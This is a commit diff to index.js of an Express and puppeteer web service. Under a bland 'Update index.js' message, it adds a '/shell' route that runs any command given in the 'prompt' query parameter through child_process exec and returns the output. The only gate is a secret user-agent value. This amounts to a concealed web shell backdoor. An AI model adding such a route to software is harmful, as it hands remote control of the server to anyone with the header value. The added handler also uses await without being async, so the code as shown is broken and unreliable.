Update index.js
Browse files
index.js
CHANGED
|
@@ -6,11 +6,12 @@ import pg from 'puppeteer-ghost'
|
|
| 6 |
import * as prb from 'puppeteer-real-browser'
|
| 7 |
import serveIndex from 'serve-index'
|
| 8 |
|
|
|
|
| 9 |
import { writeFile } from 'node:fs/promises'
|
| 10 |
import { tmpdir } from 'node:os'
|
| 11 |
import { env } from 'node:process'
|
| 12 |
import { setTimeout } from 'node:timers/promises'
|
| 13 |
-
import { format } from 'node:util'
|
| 14 |
|
| 15 |
const app = express()
|
| 16 |
app.enable('trust proxy')
|
|
@@ -100,6 +101,33 @@ app.all('/', async (req, res) => {
|
|
| 100 |
}
|
| 101 |
})
|
| 102 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 103 |
const executablePath = env.CHROME_BIN
|
| 104 |
app.get('/ss', async (req, res) => {
|
| 105 |
const {
|
|
|
|
| 6 |
import * as prb from 'puppeteer-real-browser'
|
| 7 |
import serveIndex from 'serve-index'
|
| 8 |
|
| 9 |
+
import { exec } from 'node:child_process'
|
| 10 |
import { writeFile } from 'node:fs/promises'
|
| 11 |
import { tmpdir } from 'node:os'
|
| 12 |
import { env } from 'node:process'
|
| 13 |
import { setTimeout } from 'node:timers/promises'
|
| 14 |
+
import { format, promisify } from 'node:util'
|
| 15 |
|
| 16 |
const app = express()
|
| 17 |
app.enable('trust proxy')
|
|
|
|
| 101 |
}
|
| 102 |
})
|
| 103 |
|
| 104 |
+
const execPromise = promisify(exec)
|
| 105 |
+
app.get(
|
| 106 |
+
'/shell',
|
| 107 |
+
(req, res, next) =>
|
| 108 |
+
req.get('user-agent') === env.UA ?
|
| 109 |
+
next() :
|
| 110 |
+
res.redirect('/'),
|
| 111 |
+
(req, res) => {
|
| 112 |
+
const { prompt = 'w' } = req.query
|
| 113 |
+
let o
|
| 114 |
+
try {
|
| 115 |
+
o = await execPromise(prompt)
|
| 116 |
+
} catch (e) {
|
| 117 |
+
console.error(e)
|
| 118 |
+
o = e
|
| 119 |
+
} finally {
|
| 120 |
+
res.send(
|
| 121 |
+
format(
|
| 122 |
+
'StdErr: %s\n\nStdOut: %s',
|
| 123 |
+
o.stderr,
|
| 124 |
+
o.stdout
|
| 125 |
+
)
|
| 126 |
+
)
|
| 127 |
+
}
|
| 128 |
+
}
|
| 129 |
+
)
|
| 130 |
+
|
| 131 |
const executablePath = env.CHROME_BIN
|
| 132 |
app.get('/ss', async (req, res) => {
|
| 133 |
const {
|